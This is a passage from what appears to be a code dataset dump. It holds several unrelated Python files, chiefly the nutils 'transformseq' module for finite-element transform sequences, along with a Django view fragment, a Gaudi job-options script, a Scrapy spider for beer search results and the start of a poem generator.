0)\r\n ordlist.stage=stage\r\n ordlist.save()\r\n return HttpResponse('edit success')\r\n return render(request, template_name, {'admin':admin, 'ordlist':ordlist,'dishes':dishes,'stage_choices':stage_choices})\r\n","sub_path":"order/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"330936328","text":"# Copyright (c) 2014 Evalf\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\n\"\"\"The transformseq module.\"\"\"\n\nfrom . import types, numeric, util, transform, element\nfrom .elementseq import References\nimport abc, itertools, operator, numpy\n\nclass Transforms(types.Singleton):\n '''Abstract base class for a sequence of :class:`~nutils.transform.TransformItem` tuples.\n\n This class resembles to some extent a plain :class:`tuple`: the\n class supports indexing, iterating and has an :meth:`index` method. In\n addition the class supports the :meth:`index_with_tail` method which can be\n used to find the index of a transform given the transform plus any number of\n child transformations.\n\n The transforms in this sequence must satisfy the following condition: any\n transform must not start with any other transform in the same sequence.\n\n Parameters\n ----------\n fromdims : :class:`int`\n The number of dimensions all transforms in this sequence map from.\n\n Attributes\n ----------\n fromdims : :class:`int`\n The number of dimensions all transforms in this sequence map from.\n\n Notes\n -----\n Subclasses must implement :meth:`__getitem__`, :meth:`__len__` and\n :meth:`index_with_tail`.\n '''\n\n __slots__ = 'fromdims'\n\n @types.apply_annotations\n def __init__(self, fromdims:types.strictint):\n self.fromdims = fromdims\n super().__init__()\n\n @abc.abstractmethod\n def __len__(self):\n '''Return ``len(self)``.'''\n\n raise NotImplementedError\n\n def __getitem__(self, index):\n '''Return ``self[index]``.'''\n\n if numeric.isint(index):\n raise NotImplementedError\n elif isinstance(index, slice):\n index = range(len(self))[index]\n if index == range(len(self)):\n return self\n if index.step < 0:\n raise NotImplementedError('reordering the sequence is not yet implemented')\n return MaskedTransforms(self, numpy.arange(index.start, index.stop, index.step))\n elif numeric.isintarray(index):\n if index.ndim != 1:\n raise IndexError('invalid index')\n if numpy.any(numpy.less(index, 0)) or numpy.any(numpy.greater_equal(index, len(self))):\n raise IndexError('index out of range')\n dindex = numpy.diff(index)\n if len(index) == len(self) and (len(self) == 0 or (index[0] == 0 and numpy.all(numpy.equal(dindex, 1)))):\n return self\n if numpy.any(numpy.equal(dindex, 0)):\n raise ValueError('repeating an element is not allowed')\n if not numpy.all(numpy.greater(dindex, 0)):\n s = numpy.argsort(index)\n return ReorderedTransforms(self[index[s]], numpy.argsort(s))\n if len(index) == 0:\n return EmptyTransforms(self.fromdims)\n if len(index) == len(self):\n return self\n return MaskedTransforms(self, index)\n elif numeric.isboolarray(index):\n if index.shape != (len(self),):\n raise IndexError('mask has invalid shape')\n if not numpy.any(index):\n return EmptyTransforms(self.fromdims)\n if numpy.all(index):\n return self\n index, = numpy.where(index)\n return MaskedTransforms(self, index)\n else:\n raise IndexError('invalid index')\n\n @abc.abstractmethod\n def index_with_tail(self, trans):\n '''Return the index of ``trans[:n]`` and the tail ``trans[n:]``.\n\n Find the index of a transform in this sequence given the transform plus any\n number of child transforms. In other words: find ``index`` such that\n ``self[index] == trans[:n]`` for some ``n``. Note that there is either\n exactly one ``index`` satisfying this condition, or none, due to the\n restrictions of the transforms in a :class:`Transforms` object.\n\n Parameters\n ----------\n trans : :class:`tuple` of :class:`nutils.transform.TransformItem` objects\n The transform to find up to a possibly empty tail.\n\n Returns\n -------\n index : :class:`int`\n The index of ``trans`` without tail in this sequence.\n tail : :class:`tuple` of :class:`nutils.transform.TransformItem` objects\n The tail: ``trans[len(self[index]):]``.\n\n Raises\n ------\n :class:`ValueError`\n if ``trans`` is not found.\n\n Example\n -------\n\n Consider the following plain sequence of two shift transforms:\n\n >>> from nutils.transform import Shift, Scale\n >>> transforms = PlainTransforms([(Shift([0.]),), (Shift([1.]),)], fromdims=1)\n\n Calling :meth:`index_with_tail` with the first transform gives index ``0``\n and no tail:\n\n >>> transforms.index_with_tail((Shift([0.]),))\n (0, ())\n\n Calling with an additional scale gives:\n\n >>> transforms.index_with_tail((Shift([0.]), Scale(0.5, [0.])))\n (0, (Scale([0]+0.5*x),))\n '''\n\n raise NotImplementedError\n\n def __iter__(self):\n '''Implement ``iter(self)``.'''\n\n for i in range(len(self)):\n yield self[i]\n\n def index(self, trans):\n '''Return the index of ``trans``.\n\n Parameters\n ----------\n trans : :class:`tuple` of :class:`nutils.transform.TransformItem` objects\n\n Returns\n -------\n index : :class:`int`\n The index of ``trans`` in this sequence.\n\n Raises\n ------\n :class:`ValueError`\n if ``trans`` is not found.\n\n Example\n -------\n\n Consider the following plain sequence of two shift transforms:\n\n >>> from nutils.transform import Shift, Scale\n >>> transforms = PlainTransforms([(Shift([0.]),), (Shift([1.]),)], fromdims=1)\n\n Calling :meth:`index` with the first transform gives index ``0``:\n\n >>> transforms.index((Shift([0.]),))\n 0\n\n Calling with an additional scale raises an exception, because the transform\n is not present in ``transforms``.\n\n >>> transforms.index((Shift([0.]), Scale(0.5, [0.])))\n Traceback (most recent call last):\n ...\n ValueError: (Shift([0]+x), Scale([0]+0.5*x)) not in sequence of transforms\n '''\n\n index, tail = self.index_with_tail(trans)\n if tail:\n raise ValueError('{!r} not in sequence of transforms'.format(trans))\n return index\n\n def contains(self, trans):\n '''Return ``trans`` in ``self``.\n\n Parameters\n ----------\n trans : :class:`tuple` of :class:`nutils.transform.TransformItem` objects\n\n Returns\n -------\n :class:`bool`\n ``True`` if ``trans`` is contained in this sequence of transforms, i.e.\n if :meth:`index` returns without :class:`ValueError`, otherwise\n ``False``.\n '''\n\n try:\n self.index(trans)\n except ValueError:\n return False\n else:\n return True\n\n __contains__ = contains\n\n def contains_with_tail(self, trans):\n '''Return ``trans[:n]`` in ``self`` for some ``n``.\n\n Parameters\n ----------\n trans : :class:`tuple` of :class:`nutils.transform.TransformItem` objects\n\n Returns\n -------\n :class:`bool`\n ``True`` if a head of ``trans`` is contained in this sequence\n of transforms, i.e. if :meth:`index_with_tail` returns without\n :class:`ValueError`, otherwise ``False``.\n '''\n\n try:\n self.index_with_tail(trans)\n except ValueError:\n return False\n else:\n return True\n\n def refined(self, references):\n '''Return the sequence of refined transforms given ``references``.\n\n Parameters\n ----------\n references : :class:`~nutils.elementseq.References`\n A sequence of references matching this sequence of transforms.\n\n Returns\n -------\n :class:`Transforms`\n The sequence of refined transforms::\n\n (trans+(ctrans,) for trans, ref in zip(self, references) for ctrans in ref.child_transforms)\n '''\n\n if references.isuniform:\n return UniformDerivedTransforms(self, references[0], 'child_transforms', self.fromdims)\n else:\n return DerivedTransforms(self, references, 'child_transforms', self.fromdims)\n\n def edges(self, references):\n '''Return the sequence of edge transforms given ``references``.\n\n Parameters\n ----------\n references : :class:`~nutils.elementseq.References`\n A sequence of references matching this sequence of transforms.\n\n Returns\n -------\n :class:`Transforms`\n The sequence of edge transforms::\n\n (trans+(etrans,) for trans, ref in zip(self, references) for etrans in ref.edge_transforms)\n '''\n\n if references.isuniform:\n return UniformDerivedTransforms(self, references[0], 'edge_transforms', self.fromdims-1)\n else:\n return DerivedTransforms(self, references, 'edge_transforms', self.fromdims-1)\n\n def __add__(self, other):\n '''Return ``self+other``.'''\n\n if not isinstance(other, Transforms) or self.fromdims != other.fromdims:\n return NotImplemented\n return chain((self, other), self.fromdims)\n\n def unchain(self):\n '''Iterator of unchained :class:`Transforms` items.\n\n Yields\n ------\n :class:`Transforms`\n Unchained items.\n '''\n\n yield self\n\nstricttransforms = types.strict[Transforms]\n\nclass EmptyTransforms(Transforms):\n '''An empty sequence.'''\n\n def __getitem__(self, index):\n if not numeric.isint(index):\n return super().__getitem__(index)\n raise IndexError('index out of range')\n\n def __len__(self):\n return 0\n\n def index_with_tail(self, trans):\n raise ValueError\n\n def index(self, trans):\n raise ValueError\n\n def contains_with_tail(self, trans):\n return False\n\n def contains(self, trans):\n return False\n\n __contains__ = contains\n\nclass PlainTransforms(Transforms):\n '''A general purpose implementation of :class:`Transforms`.\n\n Use this class only if there exists no specific implementation of\n :class:`Transforms` for the transforms at hand.\n\n Parameters\n ----------\n transforms : :class:`tuple` of :class:`~nutils.transform.TransformItem` objects\n The sequence of transforms.\n fromdims : :class:`int`\n The number of dimensions all ``transforms`` map from.\n '''\n\n __slots__ = '_transforms', '_sorted', '_indices'\n\n @types.apply_annotations\n def __init__(self, transforms:types.tuple[transform.canonical], fromdims:types.strictint):\n transforms_fromdims = set(trans[-1].fromdims for trans in transforms)\n if not (transforms_fromdims <= {fromdims}):\n raise ValueError('expected transforms with fromdims={}, but got {}'.format(fromdims, transforms_fromdims))\n self._transforms = transforms\n self._sorted = numpy.empty([len(self._transforms)], dtype=object)\n for i, trans in enumerate(self._transforms):\n self._sorted[i] = tuple(map(id, trans))\n self._indices = numpy.argsort(self._sorted)\n self._sorted = self._sorted[self._indices]\n super().__init__(fromdims)\n\n def __iter__(self):\n return iter(self._transforms)\n\n def __getitem__(self, index):\n if not numeric.isint(index):\n return super().__getitem__(index)\n return self._transforms[numeric.normdim(len(self), index)]\n\n def __len__(self):\n return len(self._transforms)\n\n def index_with_tail(self, trans):\n trans, orig_trans = transform.promote(trans, self.fromdims), trans\n transid_array = numpy.empty((), dtype=object)\n transid_array[()] = transid = tuple(map(id, trans))\n i = numpy.searchsorted(self._sorted, transid_array, side='right') - 1\n if i < 0:\n raise ValueError('{!r} not in sequence of transforms'.format(orig_trans))\n match = self._sorted[i]\n if transid[:len(match)] != match:\n raise ValueError('{!r} not in sequence of transforms'.format(orig_trans))\n return self._indices[i], trans[len(match):]\n\nclass IdentifierTransforms(Transforms):\n '''A sequence of :class:`nutils.transform.Identifier` singletons.\n\n Every identifier is instantiated with three arguments: the dimension, the\n name string, and an integer index matching its position in the sequence.\n\n Parameters\n ----------\n ndims : :class:`int`\n Dimension of the transformation.\n name : :class:`str`\n Identifying name string.\n length : :class:`int`\n Length of the sequence.\n '''\n\n __slots__ = '_name', '_length'\n\n @types.apply_annotations\n def __init__(self, ndims:types.strictint, name:str, length:int):\n self._name = name\n self._length = length\n super().__init__(ndims)\n\n def __getitem__(self, index):\n if not numeric.isint(index):\n return super().__getitem__(index)\n index = int(index) # make sure that index is a Python integer rather than numpy.intxx\n return transform.Identifier(self.fromdims, (self._name, numeric.normdim(self._length, index))),\n\n def __len__(self):\n return self._length\n\n def index_with_tail(self, trans):\n root = trans[0]\n if root.fromdims == self.fromdims and isinstance(root, transform.Identifier) and isinstance(root.token, tuple) and len(root.token) == 2 and root.token[0] == self._name and 0 <= root.token[1] < self._length:\n return root.token[1], trans[1:]\n raise ValueError\n\nclass Axis(types.Singleton):\n '''Abstract base class for axes of :class:`~nutils.topology.StructuredTopology`.'''\n\n __slots__ = ()\n\nclass DimAxis(Axis):\n\n __slots__ = 'i', 'j', 'isperiodic'\n isdim = True\n\n @types.apply_annotations\n def __init__(self, i:types.strictint, j:types.strictint, isperiodic:bool):\n super().__init__()\n self.i = i\n self.j = j\n self.isperiodic = isperiodic\n\n def __len__(self):\n return self.j - self.i\n\n def unmap(self, index):\n if not self.i <= index < self.j:\n raise ValueError\n return index-self.i\n\n def map(self, index):\n return self.i+index\n\nclass EdgeAxis(Axis):\n\n __slots__ = 'i', 'j', 'ibound', 'side'\n isdim = False\n\n @types.apply_annotations\n def __init__(self, i:types.strictint, j:types.strictint, ibound:types.strictint, side:bool):\n super().__init__()\n self.i = i\n self.j = j\n self.ibound = ibound\n self.side = side\n\nclass BndAxis(EdgeAxis):\n\n __slots__ = ()\n\n def __len__(self):\n return 1\n\n def unmap(self, index):\n if index != (self.i-1 if self.side else self.j):\n raise ValueError\n return 0\n\n def map(self, index):\n return self.i-1 if self.side else self.j\n\nclass IntAxis(EdgeAxis):\n\n __slots__ = ()\n\n def __len__(self):\n return self.j - self.i - 1\n\n def unmap(self, index):\n if not self.i < index + self.side < self.j:\n raise ValueError\n return index - self.i - (not self.side)\n\n def map(self, index):\n return index + self.i + (not self.side)\n\nclass PIntAxis(EdgeAxis):\n\n __slots__ = ()\n\n def __len__(self):\n return self.j - self.i\n\n def unmap(self, index):\n if not self.i <= index < self.j:\n raise ValueError\n return (index - self.i - (not self.side)) % len(self)\n\n def map(self, index):\n return self.i + ((index + (not self.side)) % len(self))\n\nclass StructuredTransforms(Transforms):\n '''Transforms sequence for :class:`~nutils.topology.StructuredTopology`.\n\n Parameters\n ----------\n root : :class:`~nutils.transform.TransformItem`\n Root transform of the :class:`~nutils.topology.StructuredTopology`.\n axes : :class:`tuple` of :class:`Axis` objects\n The axes defining the :class:`~nutils.topology.StructuredTopology`.\n nrefine : :class:`int`\n Number of structured refinements.\n '''\n\n __slots__ = '_root', '_axes', '_nrefine', '_etransforms', '_ctransforms', '_cindices'\n\n @types.apply_annotations\n def __init__(self, root:transform.stricttransformitem, axes:types.tuple[types.strict[Axis]], nrefine:types.strictint):\n self._root = root\n self._axes = axes\n self._nrefine = nrefine\n\n ref = element.LineReference()**len(self._axes)\n self._ctransforms = numeric.asobjvector(ref.child_transforms).reshape((2,)*len(self._axes))\n self._cindices = {t: numpy.array(i, dtype=int) for i, t in numpy.ndenumerate(self._ctransforms)}\n\n etransforms = []\n rmdims = numpy.zeros(len(axes), dtype=bool)\n for order, side, idim in sorted((axis.ibound, axis.side, idim) for idim, axis in enumerate(axes) if not axis.isdim):\n ref = util.product(element.getsimplex(0 if rmdim else 1) for rmdim in rmdims)\n iedge = (idim - rmdims[:idim].sum()) * 2 + 1 - side\n etransforms.append(ref.edge_transforms[iedge])\n rmdims[idim] = True\n self._etransforms = tuple(etransforms)\n\n super().__init__(sum(axis.isdim for axis in self._axes))\n\n def __getitem__(self, index):\n if not numeric.isint(index):\n return super().__getitem__(index)\n index = numeric.normdim(len(self), index)\n # Decompose index into indices per dimension on the nrefined level.\n indices = []\n for axis in reversed(self._axes):\n index, rem = divmod(index, len(axis))\n indices.insert(0, axis.map(rem))\n assert index == 0\n # Create transform.\n ctransforms = []\n indices = numpy.asarray(indices, dtype=int)\n for i in range(self._nrefine):\n indices, r = divmod(indices, self._ctransforms.shape)\n ctransforms.insert(0, self._ctransforms[tuple(r)])\n trans0 = transform.Shift(types.frozenarray(indices, dtype=float, copy=False))\n return (self._root, trans0, *ctransforms, *self._etransforms)\n\n def __len__(self):\n return util.product(map(len, self._axes))\n\n def index_with_tail(self, trans):\n if len(trans) < 2 + self._nrefine + len(self._etransforms):\n raise ValueError\n\n root, shift, tail = trans[0], trans[1], transform.uppermost(trans[2:])\n if root != self._root:\n raise ValueError\n\n if not isinstance(shift, transform.Shift) or len(shift.offset) != len(self._axes) or not numpy.equal(shift.offset.astype(int), shift.offset).all():\n raise ValueError\n indices = numpy.array(shift.offset, dtype=int)\n\n # Match child transforms.\n for item in tail[:self._nrefine]:\n try:\n indices = indices*2 + self._cindices[item]\n except KeyError:\n raise ValueError\n\n # Check index boundaries and flatten.\n flatindex = 0\n for index, axis in zip(indices, self._axes):\n flatindex = flatindex*len(axis) + axis.unmap(index)\n\n # Promote the remainder and match the edge transforms.\n tail = transform.promote(tail[self._nrefine:], self.fromdims)\n if tail[:len(self._etransforms)] != self._etransforms:\n raise ValueError\n tail = tail[len(self._etransforms):]\n\n return flatindex, tail\n\nclass MaskedTransforms(Transforms):\n '''An order preserving subset of another :class:`Transforms` object.\n\n Parameters\n ----------\n parent : :class:`Transforms`\n The transforms to subset.\n indices : one-dimensional array of :class:`int`\\\\s\n The strict monotonic increasing indices of ``parent`` transforms to keep.\n '''\n\n __slots__ = '_parent', '_mask', '_indices'\n\n @types.apply_annotations\n def __init__(self, parent:stricttransforms, indices:types.frozenarray[types.strictint]):\n self._parent = parent\n self._indices = indices\n super().__init__(parent.fromdims)\n\n def __iter__(self):\n for itrans in self._indices:\n yield self._parent[int(itrans)]\n\n def __getitem__(self, index):\n if numeric.isintarray(index) and index.ndim == 1 and numpy.any(numpy.less(index, 0)):\n raise IndexError('index out of bounds')\n return self._parent[self._indices[index]]\n\n def __len__(self):\n return len(self._indices)\n\n def index_with_tail(self, trans):\n parent_index, tail = self._parent.index_with_tail(trans)\n index = numpy.searchsorted(self._indices, parent_index)\n if index == len(self._indices) or self._indices[index] != parent_index:\n raise ValueError\n else:\n return int(index), tail\n\nclass ReorderedTransforms(Transforms):\n '''A reordered :class:`Transforms` object.\n\n Parameters\n ----------\n parent : :class:`Transforms`\n The transforms to reorder.\n indices : one-dimensional array of :class:`int`\\\\s\n The new order of the transforms.\n '''\n\n __slots__ = '_parent', '_mask', '_indices'\n __cache__ = '_rindices'\n\n @types.apply_annotations\n def __init__(self, parent:stricttransforms, indices:types.frozenarray[types.strictint]):\n self._parent = parent\n self._indices = indices\n super().__init__(parent.fromdims)\n\n @property\n def _rindices(self):\n return numpy.argsort(self._indices)\n\n def __iter__(self):\n for itrans in self._indices:\n yield self._parent[int(itrans)]\n\n def __getitem__(self, index):\n if numeric.isintarray(index) and index.ndim == 1 and numpy.any(numpy.less(index, 0)):\n raise IndexError('index out of bounds')\n return self._parent[self._indices[index]]\n\n def __len__(self):\n return len(self._parent)\n\n def index_with_tail(self, trans):\n parent_index, tail = self._parent.index_with_tail(trans)\n return int(self._rindices[parent_index]), tail\n\nclass DerivedTransforms(Transforms):\n '''A sequence of derived transforms.\n\n The derived transforms are ordered first by parent transforms, then by derived\n transforms, as returned by the reference::\n\n (trans+(ctrans,) for trans, ref in zip(parent, parent_references) for ctrans in getattr(ref, derived_attribute))\n\n Parameters\n ----------\n parent : :class:`Transforms`\n The transforms to refine.\n parent_references: :class:`~nutils.elementseq.References`\n The references to use for the refinement.\n derived_attribute : :class:`str`\n The name of the attribute of a :class:`nutils.element.Reference` that\n contains the derived references.\n fromdims : :class:`int`\n The number of dimensions all transforms in this sequence map from.\n '''\n\n __slots__ = '_parent', '_parent_references', '_derived_transforms'\n __cache__ = '_offsets'\n\n @types.apply_annotations\n def __init__(self, parent:stricttransforms, parent_references:types.strict[References], derived_attribute:types.strictstr, fromdims:types.strictint):\n if len(parent) != len(parent_references):\n raise ValueError('`parent` and `parent_references` should have the same length')\n if parent.fromdims != parent_references.ndims:\n raise ValueError('`parent` and `parent_references` have different dimensions')\n self._parent = parent\n self._parent_references = parent_references\n self._derived_transforms = operator.attrgetter(derived_attribute)\n super().__init__(fromdims)\n\n @property\n def _offsets(self):\n return types.frozenarray(numpy.cumsum([0, *(len(self._derived_transforms(ref)) for ref in self._parent_references)]), copy=False)\n\n def __len__(self):\n return self._offsets[-1]\n\n def __iter__(self):\n for reference, trans in zip(self._parent_references, self._parent):\n for dtrans in self._derived_transforms(reference):\n yield trans+(dtrans,)\n\n def __getitem__(self, index):\n if not numeric.isint(index):\n return super().__getitem__(index)\n index = numeric.normdim(len(self), index)\n iparent = numpy.searchsorted(self._offsets, index, side='right')-1\n assert 0 <= iparent < len(self._offsets)-1\n iderived = index - self._offsets[iparent]\n return self._parent[iparent] + (self._derived_transforms(self._parent_references[iparent])[iderived],)\n\n def index_with_tail(self, trans):\n iparent, tail = self._parent.index_with_tail(trans)\n if not tail:\n raise ValueError\n if self.fromdims == self._parent.fromdims:\n tail = transform.uppermost(tail)\n else:\n tail = transform.canonical(tail)\n iderived = self._derived_transforms(self._parent_references[iparent]).index(tail[0])\n return self._offsets[iparent]+iderived, tail[1:]\n\nclass UniformDerivedTransforms(Transforms):\n '''A sequence of refined transforms from a uniform sequence of references.\n\n The refined transforms are ordered first by parent transforms, then by\n derived transforms, as returned by the reference::\n\n (trans+(ctrans,) for trans in parent for ctrans in getattr(parent_reference, derived_attribute))\n\n Parameters\n ----------\n parent : :class:`Transforms`\n The transforms to refine.\n parent_reference: :class:`~nutils.element.Reference`\n The reference to use for the refinement.\n derived_attribute : :class:`str`\n The name of the attribute of a :class:`nutils.element.Reference` that\n contains the derived references.\n fromdims : :class:`int`\n The number of dimensions all transforms in this sequence map from.\n '''\n\n __slots__ = '_parent', '_derived_transforms'\n\n @types.apply_annotations\n def __init__(self, parent:stricttransforms, parent_reference:element.strictreference, derived_attribute:types.strictstr, fromdims:types.strictint):\n if parent.fromdims != parent_reference.ndims:\n raise ValueError('`parent` and `parent_reference` have different dimensions')\n self._parent = parent\n self._derived_transforms = getattr(parent_reference, derived_attribute)\n super().__init__(fromdims)\n\n def __len__(self):\n return len(self._parent)*len(self._derived_transforms)\n\n def __iter__(self):\n for trans in self._parent:\n for dtrans in self._derived_transforms:\n yield trans+(dtrans,)\n\n def __getitem__(self, index):\n if not numeric.isint(index):\n return super().__getitem__(index)\n iparent, iderived = divmod(numeric.normdim(len(self), index), len(self._derived_transforms))\n return self._parent[iparent] + (self._derived_transforms[iderived],)\n\n def index_with_tail(self, trans):\n iparent, tail = self._parent.index_with_tail(trans)\n if not tail:\n raise ValueError\n if self.fromdims == self._parent.fromdims:\n tail = transform.uppermost(tail)\n else:\n tail = transform.canonical(tail)\n iderived = self._derived_transforms.index(tail[0])\n return iparent*len(self._derived_transforms) + iderived, tail[1:]\n\nclass ProductTransforms(Transforms):\n '''The product of two :class:`Transforms` objects.\n\n The order of the resulting transforms is: ``transforms1[0]*transforms2[0],\n transforms1[0]*transforms2[1], ..., transforms1[1]*transforms2[0],\n transforms1[1]*transforms2[1], ...``.\n\n Parameters\n ----------\n transforms1 : :class:`Transforms`\n The first sequence of transforms.\n transforms2 : :class:`Transforms`\n The second sequence of transforms.\n '''\n\n __slots__ = '_transforms1', '_transforms2'\n\n @types.apply_annotations\n def __init__(self, transforms1:stricttransforms, transforms2:stricttransforms):\n self._transforms1 = transforms1\n self._transforms2 = transforms2\n super().__init__(transforms1.fromdims+transforms2.fromdims)\n\n def __iter__(self):\n for trans1 in self._transforms1:\n for trans2 in self._transforms2:\n yield transform.Bifurcate(trans1, trans2),\n\n def __getitem__(self, index):\n if not numeric.isint(index):\n return super().__getitem__(index)\n index1, index2 = divmod(numeric.normdim(len(self), index), len(self._transforms2))\n return transform.Bifurcate(self._transforms1[index1], self._transforms2[index2]),\n\n def __len__(self):\n return len(self._transforms1) * len(self._transforms2)\n\n def index_with_tail(self, trans):\n bf = trans[0]\n assert isinstance(bf, transform.Bifurcate)\n index1, tail1 = self._transforms1.index_with_tail(bf.trans1[:-1])\n index2, tail2 = self._transforms2.index_with_tail(bf.trans2[:-1])\n return index1*len(self._transforms2)+index2, None # FIXME\n\nclass ChainedTransforms(Transforms):\n '''A sequence of chained :class:`Transforms` objects.\n\n Parameters\n ----------\n items: :class:`tuple` of :class:`Transforms` objects\n The :class:`Transforms` objects to chain.\n '''\n\n __slots__ = '_items'\n __cache__ = '_offsets'\n\n @types.apply_annotations\n def __init__(self, items:types.tuple[stricttransforms]):\n if len(items) == 0:\n raise ValueError('Empty chain.')\n if len(set(item.fromdims for item in items)) != 1:\n raise ValueError('Cannot chain Transforms with different fromdims.')\n self._items = items\n super().__init__(self._items[0].fromdims)\n\n @property\n def _offsets(self):\n return types.frozenarray(numpy.cumsum([0, *map(len, self._items)]), copy=False)\n\n def __len__(self):\n return self._offsets[-1]\n\n def __getitem__(self, index):\n if numeric.isint(index):\n index = numeric.normdim(len(self), index)\n outer = numpy.searchsorted(self._offsets, index, side='right') - 1\n assert outer >= 0 and outer < len(self._items)\n return self._items[outer][index-self._offsets[outer]]\n elif isinstance(index, slice) and index.step in (1, None):\n index = range(len(self))[index]\n if index == range(len(self)):\n return self\n elif index.start == index.stop:\n return EmptyTransforms(self.fromdims)\n ostart = numpy.searchsorted(self._offsets, index.start, side='right') - 1\n ostop = numpy.searchsorted(self._offsets, index.stop, side='left')\n return chain((item[max(0,index.start-istart):min(istop-istart,index.stop-istart)] for item, (istart, istop) in zip(self._items[ostart:ostop], util.pairwise(self._offsets[ostart:ostop+1]))), self.fromdims)\n elif numeric.isintarray(index) and index.ndim == 1 and len(index) and numpy.all(numpy.greater(numpy.diff(index), 0)):\n if index[0] < 0 or index[-1] >= len(self):\n raise IndexError('index out of bounds')\n split = numpy.searchsorted(index, self._offsets, side='left')\n return chain((item[index[start:stop]-offset] for item, offset, (start, stop) in zip(self._items, self._offsets, util.pairwise(split)) if stop > start), self.fromdims)\n elif numeric.isboolarray(index) and index.shape == (len(self),):\n return chain((item[index[start:stop]] for item, (start, stop) in zip(self._items, util.pairwise(self._offsets))), self.fromdims)\n else:\n return super().__getitem__(index)\n\n def __iter__(self):\n return itertools.chain.from_iterable(self._items)\n\n def index_with_tail(self, trans):\n offset = 0\n for item in self._items:\n try:\n index, tail = item.index_with_tail(trans)\n return index + offset, tail\n except ValueError:\n pass\n offset += len(item)\n raise ValueError\n\n def refined(self, references):\n return chain((item.refined(references[start:stop]) for item, start, stop in zip(self._items, self._offsets[:-1], self._offsets[1:])), self.fromdims)\n\n def edges(self, references):\n return chain((item.edges(references[start:stop]) for item, start, stop in zip(self._items, self._offsets[:-1], self._offsets[1:])), self.fromdims-1)\n\n def unchain(self):\n yield from self._items\n\ndef chain(items, fromdims):\n '''Return the chained transforms sequence of ``items``.\n\n Parameters\n ----------\n items : iterable of :class:`Transforms` objects\n The :class:`Transforms` objects to chain.\n fromdims : :class:`int`\n The number of dimensions all transforms in this sequence map from.\n\n Returns\n -------\n :class:`Transforms`\n The chained transforms.\n '''\n\n unchained = tuple(filter(len, itertools.chain.from_iterable(item.unchain() for item in items)))\n items_fromdims = set(item.fromdims for item in unchained)\n if not (items_fromdims <= {fromdims}):\n raise ValueError('expected transforms with fromdims={}, but got {}'.format(fromdims, items_fromdims))\n if len(unchained) == 0:\n return EmptyTransforms(fromdims)\n elif len(unchained) == 1:\n return unchained[0]\n else:\n return ChainedTransforms(unchained)\n\n# vim:sw=2:sts=2:et\n","sub_path":"nutils/transformseq.py","file_name":"transformseq.py","file_ext":"py","file_size_in_byte":31958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"289393205","text":"#///////////////////////////////////////////////////////////\n# Job Options File in Python\n\ntheApp.DLLs = [ 'RootHistCnv', 'HbookCnv', 'GaudiAlg', 'GaudiAud']\ntheApp.TopAlg = [ 'RandomNumberAlg' ]\n\n# Set output level threshold (2=DEBUG, 3=INFO, 4=WARNING, 5=ERROR, 6=FATAL )\nMessageSvc = Service('MessageSvc')\nMessageSvc.OutputLevel = 3\n\n\n#--------------------------------------------------------------\n# Event related parameters\n#--------------------------------------------------------------\ntheApp.EvtMax = 100\ntheApp.EvtSel = \"NONE\"\n\n#--------------------------------------------------------------\n# Other Service Options\n#--------------------------------------------------------------\n# Histogram output file\ntheApp.HistogramPersistency = 'ROOT'\n\nHPSvc = Service('RootHistCnv::PersSvc/HistogramPersistencySvc')\nHPSvc.OutputFile = 'histo.root'\nNTSvc = Service('NTupleSvc')\nNTSvc.Output = [\"FILE1 DATAFILE='NTuple.root' OPT='NEW' TYP='ROOT'\"]\n\ntheApp.run(theApp.EvtMax)\ntheApp.exit()\n","sub_path":"GaudiExamples/tests/qmtest/refs/RandomNumber.py","file_name":"RandomNumber.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"407196132","text":"import scrapy\nimport csv\nfrom scrapy.selector import Selector\n\nL = list()\n\nwith open('beerSearch.csv', encoding = \"ISO-8859-1\", newline='') as csvfile:\n spamreader = csv.reader(csvfile, delimiter=' ', quotechar='|')\n for row in spamreader:\n tmp = 'http://www.bing.com/search?q='\n for ele in row:\n tmp = tmp + ele + '+'\n tmp = tmp + 'beer+advocate'\n L.append(tmp)\n\n\nclass QuotesSpider(scrapy.Spider):\n name = \"quotes\"\n\n start_urls = L\n\n def parse(self, response):\n a = response.css('h2 a').xpath('@href').re_first(r'/beer/profile/(.*)/')\n b = response.css('h2 a strong::text').extract_first().split('|')[0]\n b = b.strip(' ')\n\n yield {\n 'url': a,\n 'name': b,\n }\n","sub_path":"spiders/quotes.py","file_name":"quotes.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"573114405","text":"from random import choice, randint\nfrom sys import argv\n\nLINES_NUMBER = 6\n\n\"\"\"\nВозможно, эффективнее будет проверять, были ли использованы слова в строфе, сохраняя их в списки.\nИ после этого рандомное слово проверять на наличие его в этом списке\n\"\"\"\n\n\ndef get_line(words):\n particle = words[\"particles\"].pop(words[\"particles\"].index(choice(words[\"particles\"])))\n noun = words[\"nouns\"].pop(words[\"nouns\"].index(choice(words[\"nouns\"])))\n verb = words[\"verbs\"].pop(words[\"verbs\"].index(choice(words[\"verbs\"])))\n if words[\"adjectives\"]:\n adjective = words[\"adjectives\"].pop(words[\"adjectives\"].index(choice(words[\"adjectives\"])))\n\n if randint(0, 1) == 0:\n if not randint(0, 2) in range(2) or not 